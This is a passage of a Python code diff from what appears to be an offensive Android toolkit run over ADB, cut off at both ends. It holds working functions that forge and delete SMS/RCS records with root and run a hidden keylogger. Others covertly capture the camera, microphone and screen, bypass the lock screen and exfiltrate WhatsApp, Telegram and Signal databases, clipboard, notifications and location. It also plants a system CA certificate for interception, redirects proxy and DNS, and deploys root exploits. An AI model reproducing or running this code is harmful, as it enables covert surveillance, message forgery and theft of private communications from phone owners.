new conversation + cur.execute(''' + INSERT INTO conversations ( + name, other_participant_normalized_destination, + latest_message_id, sort_timestamp, + sms_thread_id, current_self_id + ) VALUES (?, ?, NULL, ?, -1, '1') + ''', (sender_name or address, address, date_ms)) + conv_id = cur.lastrowid + + # Determine message direction: 0=incoming, 1=outgoing (varies by schema) + # status: 2=complete for outgoing, 0=complete for incoming + if is_outgoing: + status = 2 + sent_ts = date_ms + recv_ts = 0 + else: + status = 0 + sent_ts = 0 + recv_ts = date_ms + + # Insert message — protocol 1 = RCS + cur.execute(''' + INSERT INTO messages ( + conversation_id, sender_participant_id, + sent_timestamp, received_timestamp, + message_status, message_protocol, + message_seen, read + ) VALUES (?, ?, ?, ?, ?, 1, 1, 1) + ''', (conv_id, '1' if is_outgoing else '0', sent_ts, recv_ts, status)) + msg_row_id = cur.lastrowid + + # Insert message text as part + cur.execute(''' + INSERT INTO parts ( + message_id, text, content_type + ) VALUES (?, ?, 'text/plain') + ''', (msg_row_id, body)) + + # Update conversation timestamp + cur.execute(''' + UPDATE conversations SET sort_timestamp = ?, latest_message_id = ? + WHERE _id = ? + ''', (date_ms, msg_row_id, conv_id)) + + conn.commit() + conn.close() + except Exception as e: + return {'success': False, 'error': f'Database insert failed: {e}'} + + # Push modified database back + self.hw.adb_push(serial, local_db, tmp) + # Copy back to app directory with correct ownership + self._shell(serial, f'su -c "cp {tmp} {db_remote} && chown $(stat -c %u:%g {db_remote}) {db_remote} 2>/dev/null"') + self._shell(serial, f'rm {tmp} {tmp}-journal 2>/dev/null') + + # Restart messaging app + self._shell(serial, f'monkey -p {pkg} -c android.intent.category.LAUNCHER 1 2>/dev/null') + + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(date_ms / 1000)) + return { + 'success': True, + 'address': address, + 'body': body, + 'date': date_readable, + 'date_ms': date_ms, + 'protocol': 'RCS', + 'conversation_id': conv_id, + 'is_outgoing': is_outgoing, + } + + def rcs_delete(self, serial, message_id): + """Delete an RCS message from bugle_db by message _id. Requires ROOT.""" + check = self.rcs_check_support(serial) + if not check.get('database'): + return {'success': False, 'error': 'Google Messages database not found (need root)'} + + db_remote = check['database'] + pkg = check['messaging_app'] + tmp = '/data/local/tmp/_bugle_db_del' + out_dir = self._serial_dir('recon', serial) + + self._shell(serial, f'am force-stop {pkg}') + time.sleep(0.5) + self._shell(serial, f'su -c "cp {db_remote} {tmp} && chmod 666 {tmp}"') + + local_db = str(out_dir / 'bugle_db_del') + result = self.hw.adb_pull(serial, tmp, local_db) + if not result['success']: + return {'success': False, 'error': 'Failed to pull database'} + + try: + conn = sqlite3.connect(local_db) + cur = conn.cursor() + cur.execute('DELETE FROM parts WHERE message_id = ?', (message_id,)) + cur.execute('DELETE FROM messages WHERE _id = ?', (message_id,)) + deleted = cur.rowcount + conn.commit() + conn.close() + except Exception as e: + return {'success': False, 'error': f'Delete failed: {e}'} + + # Push back + self.hw.adb_push(serial, local_db, tmp) + self._shell(serial, f'su -c "cp {tmp} {db_remote} && chown $(stat -c %u:%g {db_remote}) {db_remote} 2>/dev/null"') + self._shell(serial, f'rm {tmp} 2>/dev/null') + self._shell(serial, f'monkey -p {pkg} -c android.intent.category.LAUNCHER 1 2>/dev/null') + + return {'success': deleted > 0, 'deleted_id': message_id, 'rows_affected': deleted} + + # ── Boot / Recovery ────────────────────────────────────────────── + + def get_bootloader_info(self, serial): + """Get all fastboot variables.""" + stdout, stderr, rc = self.hw._run_fastboot(['getvar', 'all'], serial=serial, timeout=15) + output = stderr or stdout # fastboot outputs to stderr + info = {} + for line in output.split('\n'): + line = line.strip() + if ':' in line and not line.startswith('('): + key, _, val = line.partition(':') + key = key.strip() + val = val.strip() + if key and val: + info[key] = val + return info + + def backup_boot_image(self, serial): + """Backup boot partition via dd. Requires ROOT in ADB mode.""" + out_dir = self._serial_dir('boot', serial) + # Find boot partition + res = self._shell(serial, 'su -c "ls -la /dev/block/by-name/boot 2>/dev/null || ls -la /dev/block/bootdevice/by-name/boot 2>/dev/null"') + boot_dev = None + if res['returncode'] == 0: + # Extract symlink target or device path + output = res['output'].strip() + parts = output.split() + # Usually last element is the symlink target or the entry itself + for p in reversed(parts): + if p.startswith('/dev/'): + boot_dev = p + break + if not boot_dev and '->' in output: + boot_dev = output.split('->')[-1].strip() + + if not boot_dev: + boot_dev = '/dev/block/by-name/boot' + + tmp = '/sdcard/boot_backup.img' + res = self._shell(serial, f'su -c "dd if={boot_dev} of={tmp} bs=4096"', timeout=60) + if res['returncode'] != 0: + return {'success': False, 'error': res['output']} + + local_path = str(out_dir / f'boot_{int(time.time())}.img') + result = self.hw.adb_pull(serial, tmp, local_path) + self._shell(serial, f'rm {tmp}') + + if result['success'] and os.path.exists(local_path): + size = os.path.getsize(local_path) + return {'success': True, 'local_path': local_path, 'size': size} + return {'success': False, 'error': 'Failed to pull boot image'} + + def flash_recovery(self, serial, img_path): + """Flash custom recovery image via fastboot.""" + if not os.path.isfile(img_path): + return {'success': False, 'error': f'File not found: {img_path}'} + return self.hw.fastboot_flash(serial, 'recovery', img_path) + + def flash_boot(self, serial, img_path): + """Flash boot image via fastboot.""" + if not os.path.isfile(img_path): + return {'success': False, 'error': f'File not found: {img_path}'} + return self.hw.fastboot_flash(serial, 'boot', img_path) + + def disable_verity(self, serial, vbmeta_path=None): + """Disable dm-verity/AVB by flashing vbmeta with disable flags.""" + if vbmeta_path and os.path.isfile(vbmeta_path): + # Flash user-provided vbmeta + return self.hw.fastboot_flash(serial, 'vbmeta', vbmeta_path) + # Try fastboot command + stdout, stderr, rc = self.hw._run_fastboot( + ['--disable-verity', '--disable-verification', 'flash', 'vbmeta', 'vbmeta.img'], + serial=serial, timeout=30 + ) + output = stderr or stdout + if rc != 0: + # Alternative: adb disable-verity + res = self.hw._run_adb(['disable-verity'], serial=serial, timeout=15) + return {'success': res[2] == 0, 'output': res[0] or res[1], 'method': 'adb'} + return {'success': rc == 0, 'output': output, 'method': 'fastboot'} + + def boot_temp(self, serial, img_path): + """Temporarily boot an image without flashing.""" + if not os.path.isfile(img_path): + return {'success': False, 'error': f'File not found: {img_path}'} + stdout, stderr, rc = self.hw._run_fastboot( + ['boot', img_path], serial=serial, timeout=60 + ) + output = stderr or stdout + return {'success': rc == 0, 'output': output} + + def unlock_bootloader(self, serial): + """Unlock bootloader. WIPES DATA.""" + return self.hw.fastboot_oem_unlock(serial) + + # ── Root Methods ───────────────────────────────────────────────── + + def check_root(self, serial): + """Check if device is rooted and by what method.""" + result = {'rooted': False, 'method': None, 'version': None, 'details': {}} + + # Try su + res = self._shell(serial, 'su -c id 2>/dev/null') + if res['returncode'] == 0 and 'uid=0' in res['output']: + result['rooted'] = True + result['details']['su'] = True + + # Check for Magisk + res = self._shell(serial, 'ls /data/adb/magisk/ 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + result['method'] = 'Magisk' + result['details']['magisk_dir'] = True + # Get version + ver = self._shell(serial, 'su -c "magisk -c" 2>/dev/null') + if ver['returncode'] == 0: + result['version'] = ver['output'].strip() + + # Check Magisk app + res = self._shell(serial, 'pm list packages | grep -i magisk 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + result['details']['magisk_app'] = res['output'].strip() + if not result['method']: + result['method'] = 'Magisk' + + # Check for SuperSU + res = self._shell(serial, 'ls /system/xbin/su 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + if not result['method']: + result['method'] = 'SuperSU' + result['details']['supersu'] = True + + # Check build type + res = self._shell(serial, 'getprop ro.build.type') + build_type = res['output'].strip() if res['returncode'] == 0 else '' + result['details']['build_type'] = build_type + if build_type in ('userdebug', 'eng'): + result['details']['debug_build'] = True + + return result + + def install_magisk(self, serial, apk_path): + """Install Magisk APK on device.""" + if not os.path.isfile(apk_path): + return {'success': False, 'error': f'File not found: {apk_path}'} + return self.hw.adb_install(serial, apk_path) + + def pull_patched_boot(self, serial): + """Pull Magisk-patched boot image from /sdcard/Download/.""" + out_dir = self._serial_dir('root', serial) + # Find patched boot image + res = self._shell(serial, 'ls -t /sdcard/Download/magisk_patched*.img 2>/dev/null') + if res['returncode'] != 0 or not res['output'].strip(): + return {'success': False, 'error': 'No magisk_patched*.img found in /sdcard/Download/'} + + remote = res['output'].strip().split('\n')[0].strip() + local_path = str(out_dir / os.path.basename(remote)) + result = self.hw.adb_pull(serial, remote, local_path) + if result['success'] and os.path.exists(local_path): + return {'success': True, 'local_path': local_path, 'size': os.path.getsize(local_path)} + return {'success': False, 'error': 'Failed to pull patched boot image'} + + def root_via_exploit(self, serial, exploit_binary): + """Deploy and execute a root exploit binary.""" + if not os.path.isfile(exploit_binary): + return {'success': False, 'error': f'File not found: {exploit_binary}'} + + # Deploy + deploy = self.deploy_binary(serial, exploit_binary) + if not deploy['success']: + return deploy + + # Execute + remote = deploy['remote_path'] + res = self._shell(serial, remote, timeout=60) + + # Check if we got root + root_check = self._shell(serial, 'su -c id 2>/dev/null') + got_root = root_check['returncode'] == 0 and 'uid=0' in root_check['output'] + + return { + 'success': got_root, + 'exploit_output': res['output'], + 'root_obtained': got_root, + 'remote_path': remote, + } + + def adb_root_shell(self, serial): + """Attempt adb root for userdebug/eng builds.""" + stdout, stderr, rc = self.hw._run_adb(['root'], serial=serial, timeout=10) + output = stdout or stderr + success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower() + return {'success': success, 'output': output} + + # ── Screen & Input Control (Android 9+) ────────────────────────── + + def screen_capture(self, serial): + """Take a screenshot and pull it.""" + out_dir = self._serial_dir('recon', serial) + remote = '/sdcard/autarch_screen.png' + self._shell(serial, f'screencap -p {remote}') + local = str(out_dir / f'screen_{int(time.time())}.png') + result = self.hw.adb_pull(serial, remote, local) + self._shell(serial, f'rm {remote}') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Screenshot failed'} + + def screen_record(self, serial, duration=10, size='1280x720'): + """Record screen video and pull it. Max 180s.""" + duration = min(int(duration), 180) + out_dir = self._serial_dir('recon', serial) + remote = '/sdcard/autarch_record.mp4' + self._shell(serial, f'screenrecord --time-limit {duration} --size {size} {remote}', + timeout=duration + 10) + local = str(out_dir / f'record_{int(time.time())}.mp4') + result = self.hw.adb_pull(serial, remote, local) + self._shell(serial, f'rm {remote}') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local), 'duration': duration} + return {'success': False, 'error': 'Screen recording failed'} + + def input_tap(self, serial, x, y): + """Tap at screen coordinates.""" + res = self._shell(serial, f'input tap {x} {y}') + return {'success': res['returncode'] == 0, 'x': x, 'y': y} + + def input_swipe(self, serial, x1, y1, x2, y2, duration_ms=300): + """Swipe from (x1,y1) to (x2,y2).""" + res = self._shell(serial, f'input swipe {x1} {y1} {x2} {y2} {duration_ms}') + return {'success': res['returncode'] == 0} + + def input_text(self, serial, text): + """Type text on device. Spaces become %s.""" + escaped = text.replace(' ', '%s').replace('&', '\\&').replace(';', '\\;') + res = self._shell(serial, f'input text "{escaped}"') + return {'success': res['returncode'] == 0, 'text': text} + + def input_keyevent(self, serial, keycode): + """Send keyevent. Common: 3=HOME, 4=BACK, 26=POWER, 82=MENU, 187=RECENTS.""" + res = self._shell(serial, f'input keyevent {keycode}') + return {'success': res['returncode'] == 0, 'keycode': keycode} + + def start_keylogger(self, serial): + """Start getevent-based keylogger in background. Returns PID.""" + remote_log = '/data/local/tmp/keylog.txt' + cmd = f'nohup sh -c "getevent -lt > {remote_log} 2>&1" &' + res = self._shell(serial, cmd) + # Get PID + pid_res = self._shell(serial, 'pgrep -f "getevent -lt"') + pid = pid_res['output'].strip().split('\n')[0].strip() if pid_res['returncode'] == 0 else '' + return {'success': True, 'pid': pid, 'log_path': remote_log} + + def stop_keylogger(self, serial): + """Stop keylogger and pull log file.""" + self._shell(serial, 'pkill -f "getevent -lt"') + out_dir = self._serial_dir('recon', serial) + local = str(out_dir / f'keylog_{int(time.time())}.txt') + result = self.hw.adb_pull(serial, '/data/local/tmp/keylog.txt', local) + self._shell(serial, 'rm /data/local/tmp/keylog.txt') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'No keylog found'} + + def camera_capture(self, serial, camera='back'): + """Take photo using device camera via intent.""" + out_path = '/sdcard/DCIM/autarch_capture.jpg' + # Use am to start camera and capture + if camera == 'front': + extra = '--ei android.intent.extras.CAMERA_FACING 1' + else: + extra = '' + self._shell(serial, f'am start -a android.media.action.IMAGE_CAPTURE {extra}') + time.sleep(2) + # Simulate shutter press via keyevent (CAMERA=27, or DPAD_CENTER=23) + self._shell(serial, 'input keyevent 27 2>/dev/null; input keyevent 23 2>/dev/null') + time.sleep(2) + # Press back to confirm + self._shell(serial, 'input keyevent 4') + time.sleep(1) + # Find latest photo + res = self._shell(serial, 'ls -t /sdcard/DCIM/Camera/*.jpg 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + latest = res['output'].strip().split('\n')[0].strip() + out_dir = self._serial_dir('recon', serial) + local = str(out_dir / f'camera_{int(time.time())}.jpg') + result = self.hw.adb_pull(serial, latest, local) + if result['success']: + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Camera capture may have failed - check device'} + + def audio_record(self, serial, duration=10): + """Record audio from microphone. Needs Android 10+ or root for silent.""" + duration = min(int(duration), 120) + remote = '/sdcard/autarch_audio.3gp' + # Start recording in background, then kill after duration + cmd = (f'nohup sh -c "' + f'am start -n com.android.soundrecorder/.SoundRecorder 2>/dev/null; ' + f'sleep 1; input keyevent 85; sleep {duration}; input keyevent 86; ' + f'sleep 1; input keyevent 4' + f'" > /dev/null 2>&1 &') + res = self._shell(serial, cmd, timeout=5) + return { + 'success': True, + 'duration': duration, + 'note': f'Recording for {duration}s via SoundRecorder intent. Pull audio manually after.', + } + + def dismiss_lockscreen(self, serial): + """Attempt to dismiss lock screen / wake device.""" + results = [] + # Wake screen + self._shell(serial, 'input keyevent 26') # POWER + time.sleep(0.5) + self._shell(serial, 'input keyevent 82') # MENU (unlocks swipe-only) + time.sleep(0.3) + # Swipe up to dismiss + self._shell(serial, 'input swipe 540 1800 540 400 300') + time.sleep(0.3) + # Check if lock screen is still showing + res = self._shell(serial, 'dumpsys window | grep mDreamingLockscreen') + locked = 'true' in res['output'].lower() if res['returncode'] == 0 else False + return {'success': not locked, 'locked': locked} + + def disable_lockscreen(self, serial): + """Disable lock screen via settings (debug builds or root).""" + cmds = [ + 'settings put secure lockscreen.disabled 1', + 'locksettings clear --old ""', + 'locksettings set-disabled true', + ] + results = [] + for c in cmds: + r = self._shell(serial, c) + results.append({'cmd': c, 'rc': r['returncode'], 'out': r['output'].strip()}) + return {'success': True, 'results': results} + + # ── Extended Data Exfiltration ─────────────────────────────────── + + def extract_clipboard(self, serial): + """Get current clipboard content.""" + res = self._shell(serial, 'service call clipboard 2 i32 1 i32 0 2>/dev/null') + # Parse parcel result + text = '' + if res['returncode'] == 0: + # Try to extract string from service call output + parts = res['output'].split("'") + if len(parts) >= 2: + text = parts[1].replace('\n', '') + if not text: + # Fallback: try am broadcast method + res = self._shell(serial, 'am broadcast -a clipper.get 2>/dev/null') + text = res['output'].strip() + return {'success': True, 'clipboard': text} + + def dump_notifications(self, serial): + """Dump current notifications.""" + res = self._shell(serial, 'dumpsys notification --noredact 2>/dev/null', timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output']} + # Parse notifications + notifications = [] + current = {} + for line in res['output'].split('\n'): + line = line.strip() + if line.startswith('NotificationRecord'): + if current: + notifications.append(current) + current = {'raw': line} + elif 'pkg=' in line and current: + m = re.search(r'pkg=(\S+)', line) + if m: + current['package'] = m.group(1) + elif 'android.title=' in line and current: + current['title'] = line.split('=', 1)[1].strip() + elif 'android.text=' in line and current: + current['text'] = line.split('=', 1)[1].strip() + if current: + notifications.append(current) + return {'success': True, 'notifications': notifications, 'count': len(notifications)} + + def extract_location(self, serial): + """Get device location data.""" + info = {} + # GPS from dumpsys + res = self._shell(serial, 'dumpsys location 2>/dev/null', timeout=15) + if res['returncode'] == 0: + for line in res['output'].split('\n'): + line = line.strip() + if 'Last Known Location' in line or 'last location=' in line.lower(): + info['last_location'] = line + elif 'fused' in line.lower() and ('lat' in line.lower() or 'location' in line.lower()): + info['fused'] = line + # Settings + res = self._shell(serial, 'settings get secure location_mode') + info['location_mode'] = res['output'].strip() + res = self._shell(serial, 'settings get secure location_providers_allowed') + info['providers'] = res['output'].strip() + return {'success': True, **info} + + def extract_media_list(self, serial, media_type='photos'): + """List media files on device.""" + paths = { + 'photos': '/sdcard/DCIM/Camera/', + 'downloads': '/sdcard/Download/', + 'screenshots': '/sdcard/Pictures/Screenshots/', + 'whatsapp_media': '/sdcard/WhatsApp/Media/', + 'telegram_media': '/sdcard/Telegram/', + } + path = paths.get(media_type, f'/sdcard/{media_type}/') + res = self._shell(serial, f'ls -lhS {path} 2>/dev/null', timeout=10) + files = [] + if res['returncode'] == 0: + for line in res['output'].split('\n'): + line = line.strip() + if line and not line.startswith('total'): + files.append(line) + return {'success': True, 'path': path, 'files': files, 'count': len(files)} + + def pull_media_folder(self, serial, media_type='photos', limit=50): + """Pull media files from device.""" + paths = { + 'photos': '/sdcard/DCIM/Camera/', + 'downloads': '/sdcard/Download/', + 'screenshots': '/sdcard/Pictures/Screenshots/', + } + remote_path = paths.get(media_type, f'/sdcard/{media_type}/') + out_dir = self._serial_dir('recon', serial) / media_type + out_dir.mkdir(parents=True, exist_ok=True) + # List files + res = self._shell(serial, f'ls -1t {remote_path} 2>/dev/null') + if res['returncode'] != 0: + return {'success': False, 'error': f'Cannot list {remote_path}'} + pulled = [] + for fname in res['output'].strip().split('\n')[:limit]: + fname = fname.strip() + if not fname: + continue + remote = f'{remote_path}{fname}' + local = str(out_dir / fname) + r = self.hw.adb_pull(serial, remote, local) + if r['success']: + pulled.append(local) + return {'success': len(pulled) > 0, 'pulled': pulled, 'count': len(pulled), 'output_dir': str(out_dir)} + + def extract_whatsapp_db(self, serial): + """Extract WhatsApp message database. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + db_paths = [ + '/data/data/com.whatsapp/databases/msgstore.db', + '/data/data/com.whatsapp/databases/wa.db', + ] + pulled = [] + for db in db_paths: + tmp = f'/data/local/tmp/_wa_{os.path.basename(db)}' + self._shell(serial, f'su -c "cp {db} {tmp} && chmod 644 {tmp}"') + local = str(out_dir / f'whatsapp_{os.path.basename(db)}') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if r['success'] and os.path.exists(local): + pulled.append(local) + if not pulled: + # Try unencrypted backup + backup = '/sdcard/WhatsApp/Databases/msgstore.db.crypt14' + r = self.hw.adb_pull(serial, backup, str(out_dir / 'msgstore.db.crypt14')) + if r['success']: + pulled.append(str(out_dir / 'msgstore.db.crypt14')) + return {'success': len(pulled) > 0, 'files': pulled, + 'note': 'Root extracts decrypted DB. Non-root gets encrypted backup.'} + + def extract_telegram_db(self, serial): + """Extract Telegram database. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + db = '/data/data/org.telegram.messenger/files/cache4.db' + tmp = '/data/local/tmp/_tg_cache4.db' + self._shell(serial, f'su -c "cp {db} {tmp} && chmod 644 {tmp}"') + local = str(out_dir / 'telegram_cache4.db') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if r['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Cannot extract Telegram DB (need root)'} + + def extract_signal_db(self, serial): + """Extract Signal database. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + db = '/data/data/org.thoughtcrime.securesms/databases/signal.db' + tmp = '/data/local/tmp/_signal.db' + self._shell(serial, f'su -c "cp {db} {tmp} && chmod 644 {tmp}"') + local = str(out_dir / 'signal.db') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if r['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Cannot extract Signal DB (need root)'} + + def dump_all_settings(self, serial): + """Dump all Android settings (system, secure, global).""" + settings = {} + for ns in ('system', 'secure', 'global'): + res = self._shell(serial, f'settings list {ns}', timeout=10) + if res['returncode'] == 0: + entries = {} + for line in res['output'].split('\n'): + if '=' in line: + k, _, v = line.partition('=') + entries[k.strip()] = v.strip() + settings[ns] = entries + return {'success': True, 'settings': settings} + + # ── Network Manipulation ───────────────────────────────────────── + + def set_proxy(self, serial, host, port): + """Set global HTTP proxy.""" + res = self._shell(serial, f'settings put global http_proxy {host}:{port}') + return {'success': res['returncode'] == 0, 'proxy': f'{host}:{port}'} + + def clear_proxy(self, serial): + """Remove global proxy.""" + self._shell(serial, 'settings put global http_proxy :0') + self._shell(serial, 'settings delete global http_proxy') + self._shell(serial, 'settings delete global global_http_proxy_host') + self._shell(serial, 'settings delete global global_http_proxy_port') + return {'success': True} + + def install_ca_cert_user(self, serial, cert_path): + """Install CA certificate to user store.""" + if not os.path.isfile(cert_path): + return {'success': False, 'error': f'File not found: {cert_path}'} + remote = '/sdcard/autarch_cert.pem' + self.hw.adb_push(serial, cert_path, remote) + # Open cert installer + res = self._shell(serial, + f'am start -a android.credentials.INSTALL -t application/x-x509-ca-cert -d file://{remote}') + return {'success': True, 'note': 'Certificate install dialog opened on device. User must confirm.'} + + def install_ca_cert_system(self, serial, cert_path): + """Install CA certificate to system store. Requires ROOT + remounted /system.""" + if not os.path.isfile(cert_path): + return {'success': False, 'error': f'File not found: {cert_path}'} + # Convert to Android system cert format + import hashlib + with open(cert_path, 'rb') as f: + cert_data = f.read() + # Get subject hash for filename + remote_tmp = '/data/local/tmp/autarch_ca.pem' + self.hw.adb_push(serial, cert_path, remote_tmp) + # Calculate hash and install + res = self._shell(serial, f'su -c "' + f'mount -o remount,rw /system 2>/dev/null; ' + f'HASH=$(openssl x509 -subject_hash_old -in {remote_tmp} 2>/dev/null | head -1); ' + f'cp {remote_tmp} /system/etc/security/cacerts/${{HASH}}.0 2>/dev/null && ' + f'chmod 644 /system/etc/security/cacerts/${{HASH}}.0 && ' + f'mount -o remount,ro /system 2>/dev/null; ' + f'echo DONE"') + success = 'DONE' in res['output'] + self._shell(serial, f'rm {remote_tmp}') + return {'success': success, 'output': res['output'], + 'note': 'Reboot required for system certs to take effect' if success else ''} + + def get_network_info(self, serial): + """Get comprehensive network information.""" + info = {} + res = self._shell(serial, 'ip addr show 2>/dev/null') + info['interfaces'] = res['output'].strip() if res['returncode'] == 0 else '' + res = self._shell(serial, 'ip route show 2>/dev/null') + info['routes'] = res['output'].strip() if res['returncode'] == 0 else '' + res = self._shell(serial, 'getprop net.dns1') + info['dns1'] = res['output'].strip() + res = self._shell(serial, 'getprop net.dns2') + info['dns2'] = res['output'].strip() + res = self._shell(serial, 'settings get global http_proxy') + info['proxy'] = res['output'].strip() + res = self._shell(serial, 'dumpsys connectivity 2>/dev/null | head -30', timeout=10) + info['connectivity'] = res['output'].strip() if res['returncode'] == 0 else '' + return info + + def set_dns(self, serial, dns1, dns2=''): + """Set DNS servers. Requires ROOT.""" + cmds = [f'su -c "setprop net.dns1 {dns1}"'] + if dns2: + cmds.append(f'su -c "setprop net.dns2 {dns2}"') + cmds.append(f'su -c "ndc resolver setnetdns 0 \"\" {dns1} {dns2}"') + results = [] + for c in cmds: + r = self._shell(serial, c) + results.append(r['output'].strip()) + return {'success': True, 'dns1': dns1, 'dns2': dns2} + + def wifi_scan(self, serial): + """Scan for nearby WiFi networks.""" + # Android 9+ uses cmd wifi + res = self._shell(serial, 'cmd wifi start-scan 2>/dev/null; sleep 2; cmd wifi list-scan-results 2>/dev/null', timeout=15) + if res['returncode'] == 0 and res['output'].strip(): + return {'success': True, 'output': res['output'].strip()} + # Fallback: dumpsys + res = self._shell(serial, 'dumpsys wifi | grep -A 2 "SSID:" 2>/dev/null', timeout=10) + return {'success': res['returncode'] == 0, 'output': res['output'].strip()} + + def wifi_connect(self, serial, ssid, password='', security='wpa'): + """Connect to a WiFi network. Android 10+ uses cmd wifi.""" + if password: + cmd = f'cmd wifi connect-network "{ssid}" {security} "{password}" 2>/dev/null' + else: + cmd = f'cmd wifi connect-network "{ssid}" open 2>/dev/null' + res = self._shell(serial, cmd, timeout=15) + return {'success': res['returncode'] == 0, 'ssid': ssid, 'output': res['output'].strip()} + + def wifi_disconnect(self, serial): + """Disconnect from WiFi.""" + res = self._shell(serial, 'cmd wifi set-wifi-enabled disabled 2>/dev/null; svc wifi disable 2>/dev/null') + return {'success': True} + + def wifi_enable(self, serial): + """Enable WiFi.""" + res = self._shell(serial, 'cmd wifi set-wifi-enabled enabled 2>/dev/null; svc wifi enable 2>/dev/null') + return {'success': True} + + def enable_hotspot(self, serial, ssid='AUTARCH_AP', password='autarch123'): + """Enable WiFi hotspot. Android 10+.""" + # Try cmd connectivity tethering + res = self._shell(serial, + f'cmd wifi start-softap autarch_sap {ssid} wpa2-psk "{password}" 2>/dev/null') + if res['returncode'] != 0: + # Fallback + res = self._shell(serial, 'svc wifi startTethering 2>/dev/null') + return {'success': True, 'ssid': ssid, 'output': res['output'].strip()} + + def capture_traffic(self, serial, interface='any', duration=30, pcap_filter=''): + """Capture network traffic via tcpdump. Requires ROOT or tcpdump binary.""" + duration = min(int(duration), 300) + remote_pcap = '/data/local/tmp/capture.pcap' + filt = f' {pcap_filter}' if pcap_filter else '' + cmd = f'su -c "timeout {duration} tcpdump -i {interface} -w {remote_pcap}{filt}" 2>/dev/null' + res = self._shell(serial, cmd, timeout=duration + 10) + out_dir = self._serial_dir('recon', serial) + local = str(out_dir / f'capture_{int(time.time())}.pcap') + result = self.hw.adb_pull(serial, remote_pcap, local) + self._shell(serial, f'rm {remote_pcap}') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Capture failed (need root + tcpdump)'} + + def port_forward(self, serial, local_port, remote_port): + """Set up ADB port forwarding.""" + stdout, stderr, rc = self.hw._run_adb( + ['forward', f'tcp:{local_port}', f'tcp:{remote_port}'], + serial=serial, timeout=10) + return {'success': rc == 0, 'local': local_port, 'remote': remote_port, + 'output': stdout or stderr} + + def port_forward_list(self, serial): + """List active port forwards.""" + stdout, stderr, rc = self.hw._run_adb(['forward', '--list'], serial=serial, timeout=5) + forwards = [] + if rc == 0: + for line in (stdout or '').strip().split('\n'): + parts = line.strip().split() + if len(parts) >= 3: + forwards.append({'serial': parts[0], 'local': parts[1], 'remote': parts[2]}) + return {'success': True, 'forwards': forwards} + + def enable_adb_wifi(self, serial, port=5555): + """Enable ADB over WiFi.""" + stdout, stderr, rc = self.hw._run_adb(['tcpip', str(port)], serial=serial, timeout=10) + # Get device IP + res = self._shell(serial, 'ip route | grep wlan0 | grep src | awk "{print $NF}"') + ip = res['output'].strip().split('\n')[-1].strip() if res['returncode'] == 0 else '?' + return {'success': rc == 0, 'port': port, 'ip': ip, + 'connect_cmd': f'adb connect {ip}:{port}'} + + # ── App Manipulation ───────────────────────────────────────────── + + def grant_permission(self, serial, package, permission): + """Grant a runtime permission to an app.""" + res = self._shell(serial, f'pm grant {package} {permission}') + return {'success': res['returncode'] == 0, 'package': package, + 'permission': permission, 'output': res['output'].strip()} + + def revoke_permission(self, serial, package, permission): + """Revoke a runtime permission from an app.""" + res = self._shell(serial, f'pm revoke {package} {permission}') + return {'success': res['returncode'] == 0, 'package': package, + 'permission': permission, 'output': res['output'].strip()} + + def list_permissions(self, serial, package): + """List all permissions for a package.""" + res = self._shell(serial, f'dumpsys package {package} 2>/dev/null | grep -A 200 "granted=true"', timeout=10) + granted = [] + denied = [] + if res['returncode'] == 0: + for line in res['output'].split('\n'): + line = line.strip() + if 'granted=true' in line: + perm = line.split(':')[0].strip() if ':' in line else line.split()[0] + granted.append(perm) + elif 'granted=false' in line: + perm = line.split(':')[0].strip() if ':' in line else line.split()[0] + denied.append(perm) + return {'success': True, 'package': package, 'granted': granted, 'denied': denied} + + def disable_app(self, serial, package): + """Disable (freeze) an app.""" + res = self._shell(serial, f'pm disable-user --user 0 {package}') + return {'success': res['returncode'] == 0, 'package': package, 'output': res['output'].strip()} + + def enable_app(self, serial, package): + """Enable a disabled app.""" + res = self._shell(serial, f'pm enable {package}') + return {'success': res['returncode'] == 0, 'package': package, 'output': res['output'].strip()} + + def clear_app_data(self, serial, package): + """Clear all data for an app.""" + res = self._shell(serial, f'pm clear {package}') + return {'success': 'Success' in res['output'], 'package': package, 'output': res['output'].strip()} + + def force_stop_app(self, serial, package): + """Force stop an app.""" + res = self._shell(serial, f'am force-stop {package}') + return {'success': res['returncode'] == 0, 'package': package} + + def launch_app(self, serial, package): + """Launch an app.""" + res = self._shell(serial, f'monkey -p {package} -c android.intent.category.LAUNCHER 1 2>/dev/null') + return {'success': res['returncode'] == 0, 'package': package} + + def launch_activity(self, serial, component, extras=''): + """Start a specific activity. component format: com.pkg/.Activity""" + cmd = f'am start -n {component}' + if extras: + cmd += f' {extras}' + res = self._shell(serial, cmd) + return {'success': res['returncode'] == 0, 'component': component, 'output': res['output'].strip()} + + def send_broadcast(self, serial, action, extras=''): + """Send a broadcast intent.""" + cmd = f'am broadcast -a {action}' + if extras: + cmd += f' {extras}' + res = self._shell(serial, cmd) + return {'success': res['returncode'] == 0, 'action': action, 'output': res['output'].strip()} + + def content_query(self, serial, uri, projection='', where=''): + """Query any content provider.""" + cmd = f'content query --uri {uri}' + if projection: + cmd += f' --projection {projection}' + if where: + cmd += f' --where "{where}"' + res = self._shell(serial, cmd, timeout=15) + rows = [] + if 